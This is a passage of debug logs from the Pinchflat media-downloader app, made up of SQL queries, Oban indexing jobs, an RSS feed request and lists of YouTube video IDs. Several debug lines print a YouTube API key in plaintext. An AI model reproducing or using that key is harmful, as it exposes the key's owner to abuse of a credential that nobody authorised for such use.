AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [37] 17:30:48.500 [debug] QUERY OK source="tasks" db=0.2ms idle=421.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800232, 37, ~U[2026-02-10 23:30:48Z], ~U[2026-02-10 23:30:48Z]] 17:30:48.500 [info] {"args":{"id":37},"id":3800193,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":1415837,"event":"job:stop","queue_time":40200,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:30:59.484 [info] {"source":"oban","duration":14600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:31:00.081 [info] {"source":"oban","duration":355,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:31:29.495 [info] {"source":"oban","duration":10602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:31:59.506 [info] {"source":"oban","duration":10256,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:32:00.082 [info] {"source":"oban","duration":583,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:32:29.517 [info] {"source":"oban","duration":9944,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:32:59.528 [info] {"source":"oban","duration":10268,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:33:00.084 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:33:29.536 [info] {"source":"oban","duration":7722,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:33:59.545 [info] {"source":"oban","duration":7815,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:34:00.085 [info] {"source":"oban","duration":187,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:34:29.553 [info] {"source":"oban","duration":7558,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:34:53.120 [info] GET /sources/a9100910-ac63-4f4f-8bb2-2a507e1563c7/feed.xml 17:34:53.120 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "a9100910-ac63-4f4f-8bb2-2a507e1563c7"} Pipelines: [:maybe_basic_auth] 17:34:53.121 [debug] QUERY OK source="sources" db=0.2ms idle=785.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["a9100910-ac63-4f4f-8bb2-2a507e1563c7"] 17:34:53.131 [debug] QUERY OK source="media_items" db=9.8ms idle=242.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [38, 2000] 17:34:53.178 [debug] QUERY OK source="source_metadata" db=0.1ms idle=299.9ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [38] 17:34:53.178 [debug] QUERY OK source="media_metadata" db=0.0ms idle=300.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1564174] 17:34:53.180 [info] Sent 200 in 59ms 17:34:59.562 [info] {"source":"oban","duration":8115,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:35:00.086 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:35:29.570 [info] {"source":"oban","duration":7550,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:35:59.579 [info] {"source":"oban","duration":8030,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:36:00.087 [info] {"source":"oban","duration":359,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:36:29.587 [info] {"source":"oban","duration":7590,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:36:33.445 [info] {"args":{"id":30},"id":3800194,"meta":{},"system_time":1770766593445248887,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:36:33.446 [debug] QUERY OK source="sources" db=0.7ms idle=567.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 17:36:33.447 [debug] QUERY OK source="settings" db=0.8ms idle=567.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:36:33.447 [debug] QUERY OK source="media_profiles" db=0.7ms idle=568.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:36:33.448 [debug] QUERY OK source="settings" db=0.7ms idle=8.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:36:33.448 [debug] Fetching recent media IDs from YouTube API for playlist: UU81hVmI5eEBIt3s3HQpJd_w 17:36:33.448 [debug] QUERY OK source="settings" db=0.0ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:36:33.448 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:36:33.592 [debug] QUERY OK source="media_items" db=0.6ms idle=145.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [30, "NeOhV4zOxJ4", "kpRGNxqv6Wk", "5XWEVoI40sE", "ObOqq1knVxs", "1Rx_p3NW7gQ", "xHotXbGZiFY", "k1BneeJTDcU", "ZIljQn1x7jw", "rYy0o-J0x20", "iE5WwlwJeDQ", "nt9c0UeYhFc", "dQTZVnDE2Qw", "ejc5zic4q2A", "QCVGpvzcHko", "Zxc20saM8DA", "L2rPEiWDbgo", "Eo9pU1q8sy8", "dcLFmN7aJe0", "6hCQLEIWadk", "iuF6CpML3IQ", "tqbziT3ZaY8", "yO5vFJLc7M0", "KBICg--AKdM", "YlMg9XgBDW0", "PpypHPzkeRU", "9Fg-dQxQOEs", "2z0RxTEJRkc", "eeO7COzVWnk", "W0quDfpfRUQ", "Z-ap5Fp2T6c", "obIGsb-IZMo", "2LzgYWCgkZk", "7uvXsgSI-n4", "0tQxKp351QQ", "MboeozTBgD8", "Z5UCZt20la8", "EtkDpYlySRM", "6B4Lrl9pdAA", "LZoO8LyizLA"] 17:36:33.592 [debug] QUERY OK source="media_items" db=0.3ms idle=145.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [30] 17:36:33.593 [debug] QUERY OK source="tasks" db=0.1ms idle=144.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800233, 30, ~U[2026-02-10 23:36:33Z], ~U[2026-02-10 23:36:33Z]] 17:36:33.593 [info] {"args":{"id":30},"id":3800194,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":148380,"event":"job:stop","queue_time":518857,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:36:34.445 [info] {"args":{"id":17},"id":3800195,"meta":{},"system_time":1770766594445772545,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:36:34.446 [debug] QUERY OK source="sources" db=0.1ms idle=852.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [17] 17:36:34.446 [debug] QUERY OK source="settings" db=0.0ms idle=852.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:36:34.446 [debug] QUERY OK source="media_profiles" db=0.1ms idle=846.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:36:34.446 [debug] QUERY OK source="settings" db=0.1ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:36:34.446 [debug] Fetching recent media IDs from YouTube API for playlist: UUHC4G4X-OR5WkY-IquRGa3Q 17:36:34.446 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:36:34.446 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:36:34.512 [debug] QUERY OK source="media_items" db=0.5ms idle=65.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [17, "MvbAEEBLva8", "ZmWREtcDVBE", "qvot0oeaH_4", "uYLwEcxsDkI", "S9GJRC5XSXc", "AbTDzPUDxqY", "GdxFY_wtiOI", "NuEgjAMfdIY", "JYsDN6-XRrc", "nEU3gajt5aA", "0sowY00Ld_Y", "LN1CdJxY2_I", "RhOTMyzTDJw", "FU9J6mrKE28", "-BdZPFzH2JY", "Tvflpm-shoY", "qG04nqjL_iA", "T4tcZAduiVk", "icQmJ4Ty0Os", "GmC05wOc5Dw", "EwXx1AgEVA0", "gmqUvDGRKhk", "9GxXjTQSrLU", "rs1WF2SkjuY", "7EwRD6SzXws", "HZCwg_9zq2A", "2QKPQ6JYVhU", "P7GKK3liv8M", "TaFTKRjMY68", "e2HUg144liM", "Z-iNAyu-ejo", "9KOZUw_Ah8w", "rK2locyo-Pc", "N9OKVCt8dOM", "d9zHO6Lh2zY"] 17:36:34.513 [debug] QUERY OK source="media_items" db=0.3ms idle=66.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [17] 17:36:34.514 [debug] QUERY OK source="tasks" db=0.1ms idle=67.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800234, 17, ~U[2026-02-10 23:36:34Z], ~U[2026-02-10 23:36:34Z]] 17:36:34.514 [info] {"args":{"id":17},"id":3800195,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":68379,"event":"job:stop","queue_time":517589,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:36:36.447 [info] {"args":{"id":33},"id":3800196,"meta":{},"system_time":1770766596447778144,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:36:36.448 [debug] QUERY OK source="sources" db=0.1ms idle=569.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 17:36:36.448 [debug] QUERY OK source="settings" db=0.1ms idle=569.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:36:36.448 [debug] QUERY OK source="media_profiles" db=0.0ms idle=570.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:36:36.448 [debug] QUERY OK source="settings" db=0.0ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:36:36.448 [debug] Fetching recent media IDs from YouTube API for playlist: UUG7J20LhUeLl6y_Emi7OJrA 17:36:36.448 [debug] QUERY OK source="settings" db=0.1ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:36:36.448 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:36:36.560 [debug] QUERY OK source="media_items" db=0.6ms idle=112.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [33, "NzsuvbUl7gQ", "HZvj8T5_oUE", "drTjLvO8GGs", "8rJJUfkeZvI", "UnXPSjJCTaA", "dbL5Ht1M5Ms", "9-cfmjKIYkQ", "PLvZPtFrX8Q", "uOLqPKuO2Bo", "Y7c0Pm_UVFQ", "eNgD1kg3U14", "clT0mzdwAAw", "hx_rBNhBMUY", "twQKO6x41lk", "WyL9aPjepWU", "P3gSkMK7_As", "vfvQ-HRUm8Y", "3y0y_Papw2s", "BWbMxeNv_Qg", "VeNvWih_nZM", "4iAEbavS8yc", "_EgbBQuviLk", "pTspjZ4Gjwo", "1hQrvRxwITA", "KG4xHJfvHAw", "yza8omO0x6s", "x0tgdtpjnpc", "ZdH7NdO7efQ", "hi8X2YhiP8A", "yxrbW3ofuJo", "7Sz9VfcOEKo", "baF6VombepE", "Pa53dGNd9Fw", "p3P-Kod95V4", "7y4_DW4L8Hc", "OZUf6aTxUZE", "jgQGUwBGva4", "TeV0gYqyBnY", "ezKhazl-mdI", "pEmZcPGnYfc", "vPA3i--1sM4", "xT4HZZ2N2-c", "vC9N7PgIvEM", "A0mp9XB_MaU", "ZXK6IywE0bQ", "o1wXhGL8_GM", "j801RCel8Nc", "EIUwdOmluFE", "oka31nU8V1c", ...] 17:36:36.562 [debug] QUERY OK source="media_items" db=0.5ms idle=113.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [33] 17:36:36.563 [debug] QUERY OK source="tasks" db=0.1ms idle=114.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800235, 33, ~U[2026-02-10 23:36:36Z], ~U[2026-02-10 23:36:36Z]] 17:36:36.563 [info] {"args":{"id":33},"id":3800196,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":115333,"event":"job:stop","queue_time":517677,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:36:37.448 [info] {"args":{"id":11},"id":3800197,"meta":{},"system_time":1770766597448769243,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:36:37.449 [info] {"args":{"id":12},"id":3800198,"meta":{},"system_time":1770766597448814757,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:36:37.449 [debug] QUERY OK source="sources" db=0.2ms idle=885.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [11] 17:36:37.449 [debug] QUERY OK source="sources" db=0.1ms idle=885.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", 